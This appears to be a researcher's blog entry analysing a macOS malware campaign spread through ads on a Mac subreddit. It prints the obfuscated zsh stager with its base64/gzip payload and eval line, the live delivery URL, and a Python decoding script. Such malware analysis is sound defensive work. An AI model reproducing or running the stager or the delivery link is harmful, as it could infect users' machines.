Ctrlk
For the complete documentation index, see llms.txt. This page is also available as Markdown.

2026-06-30 - Reddit Malware

Someone named Cazzar contacted me on X and said there was a debate taking place on the mac subreddit on whether or not some advertisements were malware. Well, they were malware.

The ad was masquerading as something for https://x.com/lumanotch

The ad, through a series of clicks and twists, eventually delivered a malware payload kontorskyip.com

https://kontorskiyip.com/debug/loader.sh?build=47523c769fcd348d5013ce2d1da4bf92

The URL delivers this obfuscated file and tries to convince the user to execute it

#!/bin/zsh
d7be897=$(base64 -D <<'PAYLOAD_eafb18c5' | gunzip
H4sIAM83Q2oC/71UbXPjNBD+7hn+w6LLXZqZ2s7rhfZIofQCDU2TDgmlM8B4FHsdiziST5Lbptdj+BH8Qn4Jkt20acKU4Qv+pF3rWe3u8+y++tyfMe7fqcR5Be9xls8hFTRCCX/98SdEqDHUcDKYAOURzFIRLuCG6QQ0prhELVfOYBKY/z0S01QhcVhsUDHNU61AIo3gd3/IZpLKlX8hMUaJPETlh2Lp0SxL0TsdTIVIZ+LWy1KmNBxbb5/TWYrRgGe5nohcGgg0j/wIr32epyncw1xiBu4HBjJXilH+DnSC3AHzrTPSMjcJxcwpSisqMQXQFIHxWBQFKsqZZncIsZDw/WQ8cobjk+NhPxiMvh33Knv/YykMyBmuZoLKaEhXItcwoksk5n9i33Y75qQlVH/hVajuV0vLjaBKns6kau7fA4aJAJLzBRc3nNSc0/FkOjo+75uCEqE0N3G3UtgItQsfT4LL/g8GrG6Ca5QK3EyKKA/1pTGY4M9j7eL7V9NgcGHwYS5TcA3eXdJbVzOTRgcSrTN16Ps0Yx7LWLzyhJxvh3wRyULKE3rHMs9Q8d+QcSh4zObedkNeKKL8USlt8tQ75zOo1qzUvslZGhViMvKKMV1BrhifQyYZ17GjkEdBZCctwGvkeq8GHwvZFtqE/uW0RyoNsuGyoczDJR6qH0mBI4fktSL7ZGafCxKqkrWHZY8nFYRMra1S/GtrrYS1LVRBruGz9Hyq2iovpwRIu9tptsLu24M4jFrtL6JOvdEKsRk1ItqexQdNstEPUinHz542Zsmaaxnac6kp01db5iNHV3Bh7gBZ87MQXAupFmxVkmtF4he988segHsK5MTcMoY7XWV4CHYUjSK0KcT/TZlqisGo2CaS5yrYILx59KbhfLLsDeJi3RXLwTAFpn9BsfcwguLNYhPiLdN21f28UW8Pyo0Dv27som22gWwEJDspWIiNDfWHvTUS+nk+5XYOJH7IUel1Us7uO9sXdx6DN44TUVwKHsQ5D23DHrWItxjCl4/3n3xH/+BrbjlLOhdbU9eqF2T9qFC6x3OT4iGcizuWptTveHXYO6eh0bdQyTsYGD5TMA4YT+AKGvWg0Qm6tXKf/oSzM6b9Tqvrtd7C3tnp9Hy4DylbIHyH4ULU4CSRYon+QcOre+12t+k1Gm2Y0JhK9gAjL0islFdGV7aB5WJXoWSZ/qqYtN6/D8M9CEVLjNHUVouNYL4mpvUPLP8NNPezv4AHAAA=
PAYLOAD_eafb18c5
)
eval "$d7be897"

The payload is obviously Base64 encoded. I ran this slop script against it

import base64
import gzip
from pathlib import Path

INPUT_FILE = Path("payload.bin")


def extract_heredoc_payload(text: str) -> str:
    lines = text.splitlines()
    collecting = False
    end_tag = None
    chunks = []

    for line in lines:
        stripped = line.strip()

        if not collecting and "<<'PAYLOAD_" in stripped:
            end_tag = stripped.split("<<'", 1)[1].split("'", 1)[0]
            collecting = True
            continue

        if collecting:
            if stripped == end_tag:
                break
            chunks.append(stripped)

    if not chunks:
        raise ValueError("No heredoc Base64 payload found.")

    return "".join(chunks)


def main() -> None:
    text = INPUT_FILE.read_text(encoding="utf-8")

    b64_payload = extract_heredoc_payload(text)
    b64_payload += "=" * (-len(b64_payload) % 4)

    compressed = base64.b64decode(b64_payload)
    decoded = gzip.decompress(compressed)

    print(decoded.decode("utf-8", errors="replace"))


if __name__ == "__main__":
    main()

Which delivers this beauty:

The script has the notes still in place. This malware stager was vibe coded. Use Powershell to download the final stage

You get this unobfuscated payload. Neat.

The base64 encoded segment in the middle:

PreviousMalware reversing (shorts)
Next2026-07-20 - AI slop malware tries to deliver ScreenConnect

Last updated